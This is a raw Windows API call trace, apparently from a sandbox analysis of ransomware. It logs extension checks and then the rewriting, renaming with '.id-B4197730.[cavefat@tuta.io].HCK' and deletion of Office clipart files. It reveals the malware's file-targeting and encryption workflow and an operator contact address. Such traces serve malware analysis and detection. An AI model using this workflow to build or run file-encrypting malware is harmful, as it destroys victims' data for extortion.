1 [0235.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.892] lstrlenW (lpString=".doc") returned 4 [0235.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.892] lstrlenW (lpString=".docx") returned 5 [0235.892] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.892] lstrlenW (lpString=".pdf") returned 4 [0235.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.892] lstrlenW (lpString=".xls") returned 4 [0235.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.892] lstrlenW (lpString=".xlsx") returned 5 [0235.892] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.892] lstrlenW (lpString=".ppt") returned 4 [0235.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.892] lstrlenW (lpString=".zip") returned 4 [0235.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.893] lstrlenW (lpString=".rar") returned 4 [0235.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString=".bz2") returned 4 [0235.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString=".7z") returned 3 [0235.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.893] lstrlenW (lpString=".dbf") returned 4 [0235.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.893] lstrlenW (lpString=".1cd") returned 4 [0235.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.893] lstrlenW (lpString=".jpg") returned 4 [0235.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.893] lstrlenW (lpString=".doc") returned 4 [0235.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString=".docx") returned 5 [0235.893] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.893] lstrlenW (lpString=".pdf") returned 4 [0235.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString=".xls") returned 4 [0235.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.893] lstrlenW (lpString=".xlsx") returned 5 [0235.893] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.893] lstrlenW (lpString=".ppt") returned 4 [0235.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.893] lstrlenW (lpString=".zip") returned 4 [0235.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.893] lstrlenW (lpString=".rar") returned 4 [0235.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString=".bz2") returned 4 [0235.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.893] lstrlenW (lpString=".7z") returned 3 [0235.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.894] lstrlenW (lpString=".dbf") returned 4 [0235.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.894] lstrlenW (lpString=".1cd") returned 4 [0235.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0235.894] lstrlenW (lpString=".jpg") returned 4 [0235.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.894] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.894] lstrlenW (lpString="J0107744.WMF") returned 12 [0235.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.895] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5004) returned 1 [0235.895] CloseHandle (hObject=0x3c4) returned 1 [0235.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220 [0235.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.896] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.896] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.897] GetLastError () returned 0x0 [0235.897] ReadFile (in: hFile=0x3c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x138c, lpOverlapped=0x0) returned 1 [0235.898] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1390, lpOverlapped=0x0) returned 1 [0235.899] ReadFile (in: hFile=0x3c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.899] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.899] SetEndOfFile (hFile=0x3bc) returned 1 [0235.899] CloseHandle (hObject=0x3bc) returned 1 [0235.899] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.899] SetEndOfFile (hFile=0x3c4) returned 1 [0235.901] CloseHandle (hObject=0x3c4) returned 1 [0235.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0235.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString=".doc") returned 4 [0235.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString=".docx") returned 5 [0235.903] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0235.903] lstrlenW (lpString=".pdf") returned 4 [0235.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString=".xls") returned 4 [0235.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.903] lstrlenW (lpString=".xlsx") returned 5 [0235.903] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0235.903] lstrlenW (lpString=".ppt") returned 4 [0235.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString=".zip") returned 4 [0235.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.903] lstrlenW (lpString=".rar") returned 4 [0235.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString=".bz2") returned 4 [0235.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString=".7z") returned 3 [0235.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString=".dbf") returned 4 [0235.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString=".1cd") returned 4 [0235.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString=".jpg") returned 4 [0235.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.903] lstrlenW (lpString=".doc") returned 4 [0235.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.903] lstrlenW (lpString=".docx") returned 5 [0235.903] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0235.904] lstrlenW (lpString=".pdf") returned 4 [0235.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.904] lstrlenW (lpString=".xls") returned 4 [0235.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.904] lstrlenW (lpString=".xlsx") returned 5 [0235.904] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0235.904] lstrlenW (lpString=".ppt") returned 4 [0235.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.904] lstrlenW (lpString=".zip") returned 4 [0235.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.904] lstrlenW (lpString=".rar") returned 4 [0235.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.904] lstrlenW (lpString=".bz2") returned 4 [0235.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.904] lstrlenW (lpString=".7z") returned 3 [0235.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.904] lstrlenW (lpString=".dbf") returned 4 [0235.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.904] lstrlenW (lpString=".1cd") returned 4 [0235.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0235.904] lstrlenW (lpString=".jpg") returned 4 [0235.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.904] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.904] lstrlenW (lpString="J0107746.WMF") returned 12 [0235.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.905] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4788) returned 1 [0235.905] CloseHandle (hObject=0x3c4) returned 1 [0235.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220 [0235.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.906] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.906] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.907] GetLastError () returned 0x0 [0235.907] ReadFile (in: hFile=0x3c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x12b4, lpOverlapped=0x0) returned 1 [0235.908] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0235.909] ReadFile (in: hFile=0x3c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.909] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.909] SetEndOfFile (hFile=0x3bc) returned 1 [0235.909] CloseHandle (hObject=0x3bc) returned 1 [0235.909] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.909] SetEndOfFile (hFile=0x3c4) returned 1 [0235.912] CloseHandle (hObject=0x3c4) returned 1 [0235.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0235.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.913] lstrlenW (lpString=".doc") returned 4 [0235.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.913] lstrlenW (lpString=".docx") returned 5 [0235.913] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.913] lstrlenW (lpString=".pdf") returned 4 [0235.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.913] lstrlenW (lpString=".xls") returned 4 [0235.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.913] lstrlenW (lpString=".xlsx") returned 5 [0235.913] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.913] lstrlenW (lpString=".ppt") returned 4 [0235.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.913] lstrlenW (lpString=".zip") returned 4 [0235.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.913] lstrlenW (lpString=".rar") returned 4 [0235.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.913] lstrlenW (lpString=".bz2") returned 4 [0235.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.913] lstrlenW (lpString=".7z") returned 3 [0235.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.913] lstrlenW (lpString=".dbf") returned 4 [0235.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.913] lstrlenW (lpString=".1cd") returned 4 [0235.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.913] lstrlenW (lpString=".jpg") returned 4 [0235.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.914] lstrlenW (lpString=".doc") returned 4 [0235.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString=".docx") returned 5 [0235.914] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.914] lstrlenW (lpString=".pdf") returned 4 [0235.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString=".xls") returned 4 [0235.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.914] lstrlenW (lpString=".xlsx") returned 5 [0235.914] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.914] lstrlenW (lpString=".ppt") returned 4 [0235.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.914] lstrlenW (lpString=".zip") returned 4 [0235.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.914] lstrlenW (lpString=".rar") returned 4 [0235.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString=".bz2") returned 4 [0235.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString=".7z") returned 3 [0235.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.914] lstrlenW (lpString=".dbf") returned 4 [0235.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.914] lstrlenW (lpString=".1cd") returned 4 [0235.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0235.914] lstrlenW (lpString=".jpg") returned 4 [0235.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.915] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.915] lstrlenW (lpString="J0107748.WMF") returned 12 [0235.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0236.127] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8224) returned 1 [0236.127] CloseHandle (hObject=0x3b8) returned 1 [0236.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220 [0236.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.414] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.414] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.415] GetLastError () returned 0x0 [0236.415] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2020, lpOverlapped=0x0) returned 1 [0236.416] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2030, lpOverlapped=0x0) returned 1 [0236.417] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.417] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.417] SetEndOfFile (hFile=0x4d4) returned 1 [0236.418] CloseHandle (hObject=0x4d4) returned 1 [0236.418] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.418] SetEndOfFile (hFile=0x4b0) returned 1 [0236.421] CloseHandle (hObject=0x4b0) returned 1 [0236.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0236.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.422] lstrlenW (lpString=".doc") returned 4 [0236.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.422] lstrlenW (lpString=".docx") returned 5 [0236.422] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 